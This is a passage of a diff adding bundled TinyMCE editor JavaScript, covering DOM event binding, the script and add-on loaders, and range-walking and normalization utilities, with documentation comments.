+				aft = r.extractContents();
+
+				// Insert before chunk
+				pa = parentElm.parentNode;
+				pa.insertBefore(trimNode(bef), parentElm);
+
+				// Insert middle chunk
+				if (replacementElm) {
+					pa.replaceChild(replacementElm, splitElm);
+				} else {
+					pa.insertBefore(splitElm, parentElm);
+				}
+
+				// Insert after chunk
+				pa.insertBefore(trimNode(aft), parentElm);
+				self.remove(parentElm);
+
+				return replacementElm || splitElm;
+			}
+		},
+
+		/**
+		 * Adds an event handler to the specified object.
+		 *
+		 * @method bind
+		 * @param {Element/Document/Window/Array} target Target element to bind events to.
+		 * handler to or an array of elements/ids/documents.
+		 * @param {String} name Name of event handler to add, for example: click.
+		 * @param {function} func Function to execute when the event occurs.
+		 * @param {Object} scope Optional scope to execute the function in.
+		 * @return {function} Function callback handler the same as the one passed in.
+		 */
+		bind: function(target, name, func, scope) {
+			var self = this;
+
+			if (Tools.isArray(target)) {
+				var i = target.length;
+
+				while (i--) {
+					target[i] = self.bind(target[i], name, func, scope);
+				}
+
+				return target;
+			}
+
+			// Collect all window/document events bound by editor instance
+			if (self.settings.collect && (target === self.doc || target === self.win)) {
+				self.boundEvents.push([target, name, func, scope]);
+			}
+
+			return self.events.bind(target, name, func, scope || self);
+		},
+
+		/**
+		 * Removes the specified event handler by name and function from an element or collection of elements.
+		 *
+		 * @method unbind
+		 * @param {Element/Document/Window/Array} target Target element to unbind events on.
+		 * @param {String} name Event handler name, for example: "click"
+		 * @param {function} func Function to remove.
+		 * @return {bool/Array} Bool state of true if the handler was removed, or an array of states if multiple input elements
+		 * were passed in.
+		 */
+		unbind: function(target, name, func) {
+			var self = this, i;
+
+			if (Tools.isArray(target)) {
+				i = target.length;
+
+				while (i--) {
+					target[i] = self.unbind(target[i], name, func);
+				}
+
+				return target;
+			}
+
+			// Remove any bound events matching the input
+			if (self.boundEvents && (target === self.doc || target === self.win)) {
+				i = self.boundEvents.length;
+
+				while (i--) {
+					var item = self.boundEvents[i];
+
+					if (target == item[0] && (!name || name == item[1]) && (!func || func == item[2])) {
+						this.events.unbind(item[0], item[1], item[2]);
+					}
+				}
+			}
+
+			return this.events.unbind(target, name, func);
+		},
+
+		/**
+		 * Fires the specified event name with object on target.
+		 *
+		 * @method fire
+		 * @param {Node/Document/Window} target Target element or object to fire event on.
+		 * @param {String} name Name of the event to fire.
+		 * @param {Object} evt Event object to send.
+		 * @return {Event} Event object.
+		 */
+		fire: function(target, name, evt) {
+			return this.events.fire(target, name, evt);
+		},
+
+		// Returns the content editable state of a node
+		getContentEditable: function(node) {
+			var contentEditable;
+
+			// Check type
+			if (!node || node.nodeType != 1) {
+				return null;
+			}
+
+			// Check for fake content editable
+			contentEditable = node.getAttribute("data-mce-contenteditable");
+			if (contentEditable && contentEditable !== "inherit") {
+				return contentEditable;
+			}
+
+			// Check for real content editable
+			return node.contentEditable !== "inherit" ? node.contentEditable : null;
+		},
+
+		getContentEditableParent: function(node) {
+			var root = this.getRoot(), state = null;
+
+			for (; node && node !== root; node = node.parentNode) {
+				state = this.getContentEditable(node);
+
+				if (state !== null) {
+					break;
+				}
+			}
+
+			return state;
+		},
+
+		/**
+		 * Destroys all internal references to the DOM to solve IE leak issues.
+		 *
+		 * @method destroy
+		 */
+		destroy: function() {
+			var self = this;
+
+			// Unbind all events bound to window/document by editor instance
+			if (self.boundEvents) {
+				var i = self.boundEvents.length;
+
+				while (i--) {
+					var item = self.boundEvents[i];
+					this.events.unbind(item[0], item[1], item[2]);
+				}
+
+				self.boundEvents = null;
+			}
+
+			// Restore sizzle document to window.document
+			// Since the current document might be removed producing "Permission denied" on IE see #6325
+			if (Sizzle.setDocument) {
+				Sizzle.setDocument();
+			}
+
+			self.win = self.doc = self.root = self.events = self.frag = null;
+		},
+
+		isChildOf: function(node, parent) {
+			while (node) {
+				if (parent === node) {
+					return true;
+				}
+
+				node = node.parentNode;
+			}
+
+			return false;
+		},
+
+		// #ifdef debug
+
+		dumpRng: function(r) {
+			return (
+				'startContainer: ' + r.startContainer.nodeName +
+				', startOffset: ' + r.startOffset +
+				', endContainer: ' + r.endContainer.nodeName +
+				', endOffset: ' + r.endOffset
+			);
+		},
+
+		// #endif
+
+		_findSib: function(node, selector, name) {
+			var self = this, func = selector;
+
+			if (node) {
+				// If expression make a function of it using is
+				if (typeof(func) == 'string') {
+					func = function(node) {
+						return self.is(node, selector);
+					};
+				}
+
+				// Loop all siblings
+				for (node = node[name]; node; node = node[name]) {
+					if (func(node)) {
+						return node;
+					}
+				}
+			}
+
+			return null;
+		}
+	};
+
+	/**
+	 * Instance of DOMUtils for the current document.
+	 *
+	 * @static
+	 * @property DOM
+	 * @type tinymce.dom.DOMUtils
+	 * @example
+	 * // Example of how to add a class to some element by id
+	 * tinymce.DOM.addClass('someid', 'someclass');
+	 */
+	DOMUtils.DOM = new DOMUtils(document);
+
+	return DOMUtils;
+});
+
+// Included from: js/tinymce/classes/dom/ScriptLoader.js
+
+/**
+ * ScriptLoader.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*globals console*/
+
+/**
+ * This class handles asynchronous/synchronous loading of JavaScript files it will execute callbacks
+ * when various items gets loaded. This class is useful to load external JavaScript files.
+ *
+ * @class tinymce.dom.ScriptLoader
+ * @example
+ * // Load a script from a specific URL using the global script loader
+ * tinymce.ScriptLoader.load('somescript.js');
+ *
+ * // Load a script using a unique instance of the script loader
+ * var scriptLoader = new tinymce.dom.ScriptLoader();
+ *
+ * scriptLoader.load('somescript.js');
+ *
+ * // Load multiple scripts
+ * var scriptLoader = new tinymce.dom.ScriptLoader();
+ *
+ * scriptLoader.add('somescript1.js');
+ * scriptLoader.add('somescript2.js');
+ * scriptLoader.add('somescript3.js');
+ *
+ * scriptLoader.loadQueue(function() {
+ *    alert('All scripts are now loaded.');
+ * });
+ */
+define("tinymce/dom/ScriptLoader", [
+	"tinymce/dom/DOMUtils",
+	"tinymce/util/Tools"
+], function(DOMUtils, Tools) {
+	var DOM = DOMUtils.DOM;
+	var each = Tools.each, grep = Tools.grep;
+
+	function ScriptLoader() {
+		var QUEUED = 0,
+			LOADING = 1,
+			LOADED = 2,
+			states = {},
+			queue = [],
+			scriptLoadedCallbacks = {},
+			queueLoadedCallbacks = [],
+			loading = 0,
+			undef;
+
+		/**
+		 * Loads a specific script directly without adding it to the load queue.
+		 *
+		 * @method load
+		 * @param {String} url Absolute URL to script to add.
+		 * @param {function} callback Optional callback function to execute ones this script gets loaded.
+		 * @param {Object} scope Optional scope to execute callback in.
+		 */
+		function loadScript(url, callback) {
+			var dom = DOM, elm, id;
+
+			// Execute callback when script is loaded
+			function done() {
+				dom.remove(id);
+
+				if (elm) {
+					elm.onreadystatechange = elm.onload = elm = null;
+				}
+
+				callback();
+			}
+
+			function error() {
+				/*eslint no-console:0 */
+
+				// Report the error so it's easier for people to spot loading errors
+				if (typeof(console) !== "undefined" && console.log) {
+					console.log("Failed to load: " + url);
+				}
+
+				// We can't mark it as done if there is a load error since
+				// A) We don't want to produce 404 errors on the server and
+				// B) the onerror event won't fire on all browsers.
+				// done();
+			}
+
+			id = dom.uniqueId();
+
+			// Create new script element
+			elm = document.createElement('script');
+			elm.id = id;
+			elm.type = 'text/javascript';
+			elm.src = Tools._addCacheSuffix(url);
+
+			// Seems that onreadystatechange works better on IE 10 onload seems to fire incorrectly
+			if ("onreadystatechange" in elm) {
+				elm.onreadystatechange = function() {
+					if (/loaded|complete/.test(elm.readyState)) {
+						done();
+					}
+				};
+			} else {
+				elm.onload = done;
+			}
+
+			// Add onerror event will get fired on some browsers but not all of them
+			elm.onerror = error;
+
+			// Add script to document
+			(document.getElementsByTagName('head')[0] || document.body).appendChild(elm);
+		}
+
+		/**
+		 * Returns true/false if a script has been loaded or not.
+		 *
+		 * @method isDone
+		 * @param {String} url URL to check for.
+		 * @return {Boolean} true/false if the URL is loaded.
+		 */
+		this.isDone = function(url) {
+			return states[url] == LOADED;
+		};
+
+		/**
+		 * Marks a specific script to be loaded. This can be useful if a script got loaded outside
+		 * the script loader or to skip it from loading some script.
+		 *
+		 * @method markDone
+		 * @param {string} u Absolute URL to the script to mark as loaded.
+		 */
+		this.markDone = function(url) {
+			states[url] = LOADED;
+		};
+
+		/**
+		 * Adds a specific script to the load queue of the script loader.
+		 *
+		 * @method add
+		 * @param {String} url Absolute URL to script to add.
+		 * @param {function} callback Optional callback function to execute ones this script gets loaded.
+		 * @param {Object} scope Optional scope to execute callback in.
+		 */
+		this.add = this.load = function(url, callback, scope) {
+			var state = states[url];
+
+			// Add url to load queue
+			if (state == undef) {
+				queue.push(url);
+				states[url] = QUEUED;
+			}
+
+			if (callback) {
+				// Store away callback for later execution
+				if (!scriptLoadedCallbacks[url]) {
+					scriptLoadedCallbacks[url] = [];
+				}
+
+				scriptLoadedCallbacks[url].push({
+					func: callback,
+					scope: scope || this
+				});
+			}
+		};
+
+		/**
+		 * Starts the loading of the queue.
+		 *
+		 * @method loadQueue
+		 * @param {function} callback Optional callback to execute when all queued items are loaded.
+		 * @param {Object} scope Optional scope to execute the callback in.
+		 */
+		this.loadQueue = function(callback, scope) {
+			this.loadScripts(queue, callback, scope);
+		};
+
+		/**
+		 * Loads the specified queue of files and executes the callback ones they are loaded.
+		 * This method is generally not used outside this class but it might be useful in some scenarios.
+		 *
+		 * @method loadScripts
+		 * @param {Array} scripts Array of queue items to load.
+		 * @param {function} callback Optional callback to execute ones all items are loaded.
+		 * @param {Object} scope Optional scope to execute callback in.
+		 */
+		this.loadScripts = function(scripts, callback, scope) {
+			var loadScripts;
+
+			function execScriptLoadedCallbacks(url) {
+				// Execute URL callback functions
+				each(scriptLoadedCallbacks[url], function(callback) {
+					callback.func.call(callback.scope);
+				});
+
+				scriptLoadedCallbacks[url] = undef;
+			}
+
+			queueLoadedCallbacks.push({
+				func: callback,
+				scope: scope || this
+			});
+
+			loadScripts = function() {
+				var loadingScripts = grep(scripts);
+
+				// Current scripts has been handled
+				scripts.length = 0;
+
+				// Load scripts that needs to be loaded
+				each(loadingScripts, function(url) {
+					// Script is already loaded then execute script callbacks directly
+					if (states[url] == LOADED) {
+						execScriptLoadedCallbacks(url);
+						return;
+					}
+
+					// Is script not loading then start loading it
+					if (states[url] != LOADING) {
+						states[url] = LOADING;
+						loading++;
+
+						loadScript(url, function() {
+							states[url] = LOADED;
+							loading--;
+
+							execScriptLoadedCallbacks(url);
+
+							// Load more scripts if they where added by the recently loaded script
+							loadScripts();
+						});
+					}
+				});
+
+				// No scripts are currently loading then execute all pending queue loaded callbacks
+				if (!loading) {
+					each(queueLoadedCallbacks, function(callback) {
+						callback.func.call(callback.scope);
+					});
+
+					queueLoadedCallbacks.length = 0;
+				}
+			};
+
+			loadScripts();
+		};
+	}
+
+	ScriptLoader.ScriptLoader = new ScriptLoader();
+
+	return ScriptLoader;
+});
+
+// Included from: js/tinymce/classes/AddOnManager.js
+
+/**
+ * AddOnManager.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class handles the loading of themes/plugins or other add-ons and their language packs.
+ *
+ * @class tinymce.AddOnManager
+ */
+define("tinymce/AddOnManager", [
+	"tinymce/dom/ScriptLoader",
+	"tinymce/util/Tools"
+], function(ScriptLoader, Tools) {
+	var each = Tools.each;
+
+	function AddOnManager() {
+		var self = this;
+
+		self.items = [];
+		self.urls = {};
+		self.lookup = {};
+	}
+
+	AddOnManager.prototype = {
+		/**
+		 * Returns the specified add on by the short name.
+		 *
+		 * @method get
+		 * @param {String} name Add-on to look for.
+		 * @return {tinymce.Theme/tinymce.Plugin} Theme or plugin add-on instance or undefined.
+		 */
+		get: function(name) {
+			if (this.lookup[name]) {
+				return this.lookup[name].instance;
+			} else {
+				return undefined;
+			}
+		},
+
+		dependencies: function(name) {
+			var result;
+
+			if (this.lookup[name]) {
+				result = this.lookup[name].dependencies;
+			}
+
+			return result || [];
+		},
+
+		/**
+		 * Loads a language pack for the specified add-on.
+		 *
+		 * @method requireLangPack
+		 * @param {String} name Short name of the add-on.
+		 * @param {String} languages Optional comma or space separated list of languages to check if it matches the name.
+		 */
+		requireLangPack: function(name, languages) {
+			var language = AddOnManager.language;
+
+			if (language && AddOnManager.languageLoad !== false) {
+				if (languages) {
+					languages = ',' + languages + ',';
+
+					// Load short form sv.js or long form sv_SE.js
+					if (languages.indexOf(',' + language.substr(0, 2) + ',') != -1) {
+						language = language.substr(0, 2);
+					} else if (languages.indexOf(',' + language + ',') == -1) {
+						return;
+					}
+				}
+
+				ScriptLoader.ScriptLoader.add(this.urls[name] + '/langs/' + language + '.js');
+			}
+		},
+
+		/**
+		 * Adds a instance of the add-on by it's short name.
+		 *
+		 * @method add
+		 * @param {String} id Short name/id for the add-on.
+		 * @param {tinymce.Theme/tinymce.Plugin} addOn Theme or plugin to add.
+		 * @return {tinymce.Theme/tinymce.Plugin} The same theme or plugin instance that got passed in.
+		 * @example
+		 * // Create a simple plugin
+		 * tinymce.create('tinymce.plugins.TestPlugin', {
+		 *   TestPlugin: function(ed, url) {
+		 *   ed.on('click', function(e) {
+		 *      ed.windowManager.alert('Hello World!');
+		 *   });
+		 *   }
+		 * });
+		 *
+		 * // Register plugin using the add method
+		 * tinymce.PluginManager.add('test', tinymce.plugins.TestPlugin);
+		 *
+		 * // Initialize TinyMCE
+		 * tinymce.init({
+		 *  ...
+		 *  plugins: '-test' // Init the plugin but don't try to load it
+		 * });
+		 */
+		add: function(id, addOn, dependencies) {
+			this.items.push(addOn);
+			this.lookup[id] = {instance: addOn, dependencies: dependencies};
+
+			return addOn;
+		},
+
+		createUrl: function(baseUrl, dep) {
+			if (typeof dep === "object") {
+				return dep;
+			} else {
+				return {prefix: baseUrl.prefix, resource: dep, suffix: baseUrl.suffix};
+			}
+		},
+
+		/**
+		 * Add a set of components that will make up the add-on. Using the url of the add-on name as the base url.
+		 * This should be used in development mode.  A new compressor/javascript munger process will ensure that the
+		 * components are put together into the plugin.js file and compressed correctly.
+		 *
+		 * @method addComponents
+		 * @param {String} pluginName name of the plugin to load scripts from (will be used to get the base url for the plugins).
+		 * @param {Array} scripts Array containing the names of the scripts to load.
+		 */
+		addComponents: function(pluginName, scripts) {
+			var pluginUrl = this.urls[pluginName];
+
+			each(scripts, function(script) {
+				ScriptLoader.ScriptLoader.add(pluginUrl + "/" + script);
+			});
+		},
+
+		/**
+		 * Loads an add-on from a specific url.
+		 *
+		 * @method load
+		 * @param {String} name Short name of the add-on that gets loaded.
+		 * @param {String} addOnUrl URL to the add-on that will get loaded.
+		 * @param {function} callback Optional callback to execute ones the add-on is loaded.
+		 * @param {Object} scope Optional scope to execute the callback in.
+		 * @example
+		 * // Loads a plugin from an external URL
+		 * tinymce.PluginManager.load('myplugin', '/some/dir/someplugin/plugin.js');
+		 *
+		 * // Initialize TinyMCE
+		 * tinymce.init({
+		 *  ...
+		 *  plugins: '-myplugin' // Don't try to load it again
+		 * });
+		 */
+		load: function(name, addOnUrl, callback, scope) {
+			var self = this, url = addOnUrl;
+
+			function loadDependencies() {
+				var dependencies = self.dependencies(name);
+
+				each(dependencies, function(dep) {
+					var newUrl = self.createUrl(addOnUrl, dep);
+
+					self.load(newUrl.resource, newUrl, undefined, undefined);
+				});
+
+				if (callback) {
+					if (scope) {
+						callback.call(scope);
+					} else {
+						callback.call(ScriptLoader);
+					}
+				}
+			}
+
+			if (self.urls[name]) {
+				return;
+			}
+
+			if (typeof addOnUrl === "object") {
+				url = addOnUrl.prefix + addOnUrl.resource + addOnUrl.suffix;
+			}
+
+			if (url.indexOf('/') !== 0 && url.indexOf('://') == -1) {
+				url = AddOnManager.baseURL + '/' + url;
+			}
+
+			self.urls[name] = url.substring(0, url.lastIndexOf('/'));
+
+			if (self.lookup[name]) {
+				loadDependencies();
+			} else {
+				ScriptLoader.ScriptLoader.add(url, loadDependencies, scope);
+			}
+		}
+	};
+
+	AddOnManager.PluginManager = new AddOnManager();
+	AddOnManager.ThemeManager = new AddOnManager();
+
+	return AddOnManager;
+});
+
+/**
+ * TinyMCE theme class.
+ *
+ * @class tinymce.Theme
+ */
+
+/**
+ * This method is responsible for rendering/generating the overall user interface with toolbars, buttons, iframe containers etc.
+ *
+ * @method renderUI
+ * @param {Object} obj Object parameter containing the targetNode DOM node that will be replaced visually with an editor instance.
+ * @return {Object} an object with items like iframeContainer, editorContainer, sizeContainer, deltaWidth, deltaHeight.
+ */
+
+/**
+ * Plugin base class, this is a pseudo class that describes how a plugin is to be created for TinyMCE. The methods below are all optional.
+ *
+ * @class tinymce.Plugin
+ * @example
+ * tinymce.PluginManager.add('example', function(editor, url) {
+ *     // Add a button that opens a window
+ *     editor.addButton('example', {
+ *         text: 'My button',
+ *         icon: false,
+ *         onclick: function() {
+ *             // Open window
+ *             editor.windowManager.open({
+ *                 title: 'Example plugin',
+ *                 body: [
+ *                     {type: 'textbox', name: 'title', label: 'Title'}
+ *                 ],
+ *                 onsubmit: function(e) {
+ *                     // Insert content when the window form is submitted
+ *                     editor.insertContent('Title: ' + e.data.title);
+ *                 }
+ *             });
+ *         }
+ *     });
+ *
+ *     // Adds a menu item to the tools menu
+ *     editor.addMenuItem('example', {
+ *         text: 'Example plugin',
+ *         context: 'tools',
+ *         onclick: function() {
+ *             // Open window with a specific url
+ *             editor.windowManager.open({
+ *                 title: 'TinyMCE site',
+ *                 url: 'http://www.tinymce.com',
+ *                 width: 800,
+ *                 height: 600,
+ *                 buttons: [{
+ *                     text: 'Close',
+ *                     onclick: 'close'
+ *                 }]
+ *             });
+ *         }
+ *     });
+ * });
+ */
+
+// Included from: js/tinymce/classes/dom/RangeUtils.js
+
+/**
+ * RangeUtils.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class contains a few utility methods for ranges.
+ *
+ * @class tinymce.dom.RangeUtils
+ * @private
+ */
+define("tinymce/dom/RangeUtils", [
+	"tinymce/util/Tools",
+	"tinymce/dom/TreeWalker"
+], function(Tools, TreeWalker) {
+	var each = Tools.each;
+
+	function getEndChild(container, index) {
+		var childNodes = container.childNodes;
+
+		index--;
+
+		if (index > childNodes.length - 1) {
+			index = childNodes.length - 1;
+		} else if (index < 0) {
+			index = 0;
+		}
+
+		return childNodes[index] || container;
+	}
+
+	function RangeUtils(dom) {
+		/**
+		 * Walks the specified range like object and executes the callback for each sibling collection it finds.
+		 *
+		 * @method walk
+		 * @param {Object} rng Range like object.
+		 * @param {function} callback Callback function to execute for each sibling collection.
+		 */
+		this.walk = function(rng, callback) {
+			var startContainer = rng.startContainer,
+				startOffset = rng.startOffset,
+				endContainer = rng.endContainer,
+				endOffset = rng.endOffset,
+				ancestor, startPoint,
+				endPoint, node, parent, siblings, nodes;
+
+			// Handle table cell selection the table plugin enables
+			// you to fake select table cells and perform formatting actions on them
+			nodes = dom.select('td.mce-item-selected,th.mce-item-selected');
+			if (nodes.length > 0) {
+				each(nodes, function(node) {
+					callback([node]);
+				});
+
+				return;
+			}
+
+			/**
+			 * Excludes start/end text node if they are out side the range
+			 *
+			 * @private
+			 * @param {Array} nodes Nodes to exclude items from.
+			 * @return {Array} Array with nodes excluding the start/end container if needed.
+			 */
+			function exclude(nodes) {
+				var node;
+
+				// First node is excluded
+				node = nodes[0];
+				if (node.nodeType === 3 && node === startContainer && startOffset >= node.nodeValue.length) {
+					nodes.splice(0, 1);
+				}
+
+				// Last node is excluded
+				node = nodes[nodes.length - 1];
+				if (endOffset === 0 && nodes.length > 0 && node === endContainer && node.nodeType === 3) {
+					nodes.splice(nodes.length - 1, 1);
+				}
+
+				return nodes;
+			}
+
+			/**
+			 * Collects siblings
+			 *
+			 * @private
+			 * @param {Node} node Node to collect siblings from.
+			 * @param {String} name Name of the sibling to check for.
+			 * @return {Array} Array of collected siblings.
+			 */
+			function collectSiblings(node, name, end_node) {
+				var siblings = [];
+
+				for (; node && node != end_node; node = node[name]) {
+					siblings.push(node);
+				}
+
+				return siblings;
+			}
+
+			/**
+			 * Find an end point this is the node just before the common ancestor root.
+			 *
+			 * @private
+			 * @param {Node} node Node to start at.
+			 * @param {Node} root Root/ancestor element to stop just before.
+			 * @return {Node} Node just before the root element.
+			 */
+			function findEndPoint(node, root) {
+				do {
+					if (node.parentNode == root) {
+						return node;
+					}
+
+					node = node.parentNode;
+				} while (node);
+			}
+
+			function walkBoundary(start_node, end_node, next) {
+				var siblingName = next ? 'nextSibling' : 'previousSibling';
+
+				for (node = start_node, parent = node.parentNode; node && node != end_node; node = parent) {
+					parent = node.parentNode;
+					siblings = collectSiblings(node == start_node ? node : node[siblingName], siblingName);
+
+					if (siblings.length) {
+						if (!next) {
+							siblings.reverse();
+						}
+
+						callback(exclude(siblings));
+					}
+				}
+			}
+
+			// If index based start position then resolve it
+			if (startContainer.nodeType == 1 && startContainer.hasChildNodes()) {
+				startContainer = startContainer.childNodes[startOffset];
+			}
+
+			// If index based end position then resolve it
+			if (endContainer.nodeType == 1 && endContainer.hasChildNodes()) {
+				endContainer = getEndChild(endContainer, endOffset);
+			}
+
+			// Same container
+			if (startContainer == endContainer) {
+				return callback(exclude([startContainer]));
+			}
+
+			// Find common ancestor and end points
+			ancestor = dom.findCommonAncestor(startContainer, endContainer);
+
+			// Process left side
+			for (node = startContainer; node; node = node.parentNode) {
+				if (node === endContainer) {
+					return walkBoundary(startContainer, ancestor, true);
+				}
+
+				if (node === ancestor) {
+					break;
+				}
+			}
+
+			// Process right side
+			for (node = endContainer; node; node = node.parentNode) {
+				if (node === startContainer) {
+					return walkBoundary(endContainer, ancestor);
+				}
+
+				if (node === ancestor) {
+					break;
+				}
+			}
+
+			// Find start/end point
+			startPoint = findEndPoint(startContainer, ancestor) || startContainer;
+			endPoint = findEndPoint(endContainer, ancestor) || endContainer;
+
+			// Walk left leaf
+			walkBoundary(startContainer, startPoint, true);
+
+			// Walk the middle from start to end point
+			siblings = collectSiblings(
+				startPoint == startContainer ? startPoint : startPoint.nextSibling,
+				'nextSibling',
+				endPoint == endContainer ? endPoint.nextSibling : endPoint
+			);
+
+			if (siblings.length) {
+				callback(exclude(siblings));
+			}
+
+			// Walk right leaf
+			walkBoundary(endContainer, endPoint);
+		};
+
+		/**
+		 * Splits the specified range at it's start/end points.
+		 *
+		 * @private
+		 * @param {Range/RangeObject} rng Range to split.
+		 * @return {Object} Range position object.
+		 */
+		this.split = function(rng) {
+			var startContainer = rng.startContainer,
+				startOffset = rng.startOffset,
+				endContainer = rng.endContainer,
+				endOffset = rng.endOffset;
+
+			function splitText(node, offset) {
+				return node.splitText(offset);
+			}
+
+			// Handle single text node
+			if (startContainer == endContainer && startContainer.nodeType == 3) {
+				if (startOffset > 0 && startOffset < startContainer.nodeValue.length) {
+					endContainer = splitText(startContainer, startOffset);
+					startContainer = endContainer.previousSibling;
+
+					if (endOffset > startOffset) {
+						endOffset = endOffset - startOffset;
+						startContainer = endContainer = splitText(endContainer, endOffset).previousSibling;
+						endOffset = endContainer.nodeValue.length;
+						startOffset = 0;
+					} else {
+						endOffset = 0;
+					}
+				}
+			} else {
+				// Split startContainer text node if needed
+				if (startContainer.nodeType == 3 && startOffset > 0 && startOffset < startContainer.nodeValue.length) {
+					startContainer = splitText(startContainer, startOffset);
+					startOffset = 0;
+				}
+
+				// Split endContainer text node if needed
+				if (endContainer.nodeType == 3 && endOffset > 0 && endOffset < endContainer.nodeValue.length) {
+					endContainer = splitText(endContainer, endOffset).previousSibling;
+					endOffset = endContainer.nodeValue.length;
+				}
+			}
+
+			return {
+				startContainer: startContainer,
+				startOffset: startOffset,
+				endContainer: endContainer,
+				endOffset: endOffset
+			};
+		};
+
+		/**
+		 * Normalizes the specified range by finding the closest best suitable caret location.
+		 *
+		 * @private
+		 * @param {Range} rng Range to normalize.
+		 * @return {Boolean} True/false if the specified range was normalized or not.
+		 */
+		this.normalize = function(rng) {
+			var normalized, collapsed;
+
+			function normalizeEndPoint(start) {
+				var container, offset, walker, body = dom.getRoot(), node, nonEmptyElementsMap;
+				var directionLeft, isAfterNode;
+
+				function hasBrBeforeAfter(node, left) {
+					var walker = new TreeWalker(node, dom.getParent(node.parentNode, dom.isBlock) || body);
+
+					while ((node = walker[left ? 'prev' : 'next']())) {
+						if (node.nodeName === "BR") {
+							return true;
+						}
+					}
+				}
+
+				function isPrevNode(node, name) {
+					return node.previousSibling && node.previousSibling.nodeName == name;
+				}
+
+				// Walks the dom left/right to find a suitable text node to move the endpoint into
+				// It will only walk within the current parent block or body and will stop if it hits a block or a BR/IMG
+				function findTextNodeRelative(left, startNode) {
+					var walker, lastInlineElement, parentBlockContainer;
+
+					startNode = startNode || container;
+					parentBlockContainer = dom.getParent(startNode.parentNode, dom.isBlock) || body;
+
+					// Lean left before the BR element if it's the only BR within a block element. Gecko bug: #6680
+					// This: <p><br>|</p> becomes <p>|<br></p>
+					if (left && startNode.nodeName == 'BR' && isAfterNode && dom.isEmpty(parentBlockContainer)) {
+						container = startNode.parentNode;
+						offset = dom.nodeIndex(startNode);
+						normalized = true;
+						return;
+					}
+
+					// Walk left until we hit a text node we can move to or a block/br/img
+					walker = new TreeWalker(startNode, parentBlockContainer);
+					while ((node = walker[left ? 'prev' : 'next']())) {
+						// Break if we hit a non content editable node
+						if (dom.getContentEditableParent(node) === "false") {
+							return;
+						}
+
+						// Found text node that has a length
+						if (node.nodeType === 3 && node.nodeValue.length > 0) {
+							container = node;
+							offset = left ? node.nodeValue.length : 0;
+							normalized = true;
+							return;
+						}
+
+						// Break if we find a block or a BR/IMG/INPUT etc
+						if (dom.isBlock(node) || nonEmptyElementsMap[node.nodeName.toLowerCase()]) {
+							return;
+						}
+
+						lastInlineElement = node;
+					}
+
+					// Only fetch the last inline element when in caret mode for now
+					if (collapsed && lastInlineElement) {
+						container = lastInlineElement;
+						normalized = true;
+						offset = 0;
+					}
+				}
+
+				container = rng[(start ? 'start' : 'end') + 'Container'];
+				offset = rng[(start ? 'start' : 'end') + 'Offset'];
+				isAfterNode = container.nodeType == 1 && offset === container.childNodes.length;
+				nonEmptyElementsMap = dom.schema.getNonEmptyElements();
+				directionLeft = start;
+
+				if (container.nodeType == 1 && offset > container.childNodes.length - 1) {
+					directionLeft = false;
+				}
+
+				// If the container is a document move it to the body element
+				if (container.nodeType === 9) {
+					container = dom.getRoot();
+					offset = 0;
+				}
+
+				// If the container is body try move it into the closest text node or position
+				if (container === body) {
+					// If start is before/after a image, table etc
+					if (directionLeft) {
+						node = container.childNodes[offset > 0 ? offset - 1 : 0];
+						if (node) {
+							if (nonEmptyElementsMap[node.nodeName] || node.nodeName == "TABLE") {
+								return;
+							}
+						}
+					}
+
+					// Resolve the index
+					if (container.hasChildNodes()) {
+						offset = Math.min(!directionLeft && offset > 0 ? offset - 1 : offset, container.childNodes.length - 1);
+						container = container.childNodes[offset];
+						offset = 0;
+
+						// Don't walk into elements that doesn't have any child nodes like a IMG
+						if (container.hasChildNodes() && !/TABLE/.test(container.nodeName)) {
+							// Walk the DOM to find a text node to place the caret at or a BR
+							node = container;
+							walker = new TreeWalker(container, body);
+
+							do {
+								// Found a text node use that position
+								if (node.nodeType === 3 && node.nodeValue.length > 0) {
+									offset = directionLeft ? 0 : node.nodeValue.length;
+									container = node;
+									normalized = true;
+									break;
+								}
+
+								// Found a BR/IMG element that we can place the caret before
+								if (nonEmptyElementsMap[node.nodeName.toLowerCase()]) {
+									offset = dom.nodeIndex(node);
+									container = node.parentNode;
+
+									// Put caret after image when moving the end point
+									if (node.nodeName ==  "IMG" && !directionLeft) {
+										offset++;
+									}
+
+									normalized = true;
+									break;
+								}
+							} while ((node = (directionLeft ? walker.next() : walker.prev())));
+						}
+					}
+				}
+
+				// Lean the caret to the left if possible
+				if (collapsed) {
+					// So this: <b>x</b><i>|x</i>
+					// Becomes: <b>x|</b><i>x</i>
+					// Seems that only gecko has issues with this
+					if (container.nodeType === 3 && offset === 0) {
+						findTextNodeRelative(true);
+					}
+
+					// Lean left into empty inline elements when the caret is before a BR
+					// So this: <i><b></b><i>|<br></i>
+					// Becomes: <i><b>|</b><i><br></i>
+					// Seems that only gecko has issues with this.
+					// Special edge case for <p><a>x</a>|<br></p> since we don't want <p><a>x|</a><br></p>
+					if (container.nodeType === 1) {
+						node = container.childNodes[offset];
+
+						// Offset is after the containers last child
+						// then use the previous child for normalization
+						if (!node) {
+							node = container.childNodes[offset - 1];
+						}
+
+						if (node && node.nodeName === 'BR' && !isPrevNode(node, 'A') &&
+							!hasBrBeforeAfter(node) && !hasBrBeforeAfter(node, true)) {
+							findTextNodeRelative(true, node);
+						}
+					}
+				}
+
+				// Lean the start of the selection right if possible
+				// So this: x[<b>x]</b>
+				// Becomes: x<b>[x]</b>
+				if (directionLeft && !collapsed && container.nodeType === 3 && offset === container.nodeValue.length) {
+					findTextNodeRelative(false);
+				}
+
+				// Set endpoint if it was normalized
+				if (normalized) {
+					rng['set' + (start ? 'Start' : 'End')](container, offset);
+				}
+			}
+
+			collapsed = rng.collapsed;
+
+			normalizeEndPoint(true);
+
+			if (!collapsed) {
+				normalizeEndPoint();
+			}
+
+			// If it was collapsed then make sure it still is
+			if (normalized && collapsed) {
+				rng.collapse(true);
+			}
+
+			return normalized;
+		};
+	}
+
+	/**
+	 * Compares two ranges and checks if they are equal.
+	 *
+	 * @static
+	 * @method compareRanges
+	 * @param {DOMRange} rng1 First range to compare.
+	 * @param {DOMRange} rng2 First range to compare.
